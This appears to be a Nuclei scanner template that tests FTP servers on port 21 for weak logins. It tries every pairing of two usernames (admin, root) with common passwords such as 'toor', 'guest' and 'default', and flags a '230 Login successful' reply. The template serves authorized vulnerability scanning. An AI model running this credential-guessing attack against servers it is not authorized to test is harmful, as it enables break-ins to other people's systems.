id: ftp-weak-credentials

info:
  name: FTP Service - Credential Weakness
  author: pussycat0x
  severity: high
  description: An FTP service was accessed with easily guessed credentials.
  reference:
    - https://docs.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/sitedefaults/ftpserver/security/authentication/
  classification:
    cvss-metrics: 3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.5
  metadata:
    max-request: 1
  tags: network,ftp,default-login,service,tcp

tcp:

  - inputs:
      - data: "USER {{username}}\r\nPASS {{password}}\r\n"

    host:
      - "{{Hostname}}"
    port: 21

    attack: clusterbomb
    payloads:
      username:
        - admin
        - root
      password:
        - password
        - toor
        - nas
        - guest
        - default
        - pass1
        - stingray

    matchers:
      - type: word
        words:
          - "230 Login successful"
# digest: 4b0a00483046022100848775fa15a13eabfabf672907621725ae6313cd21a9c9465ce47b44cf7c5004022100d6e97274203cbf081318685ef270d51c5ca4ed596388a517e3cac0c835718c9f:922c64590222798bb761d5b6d8e72950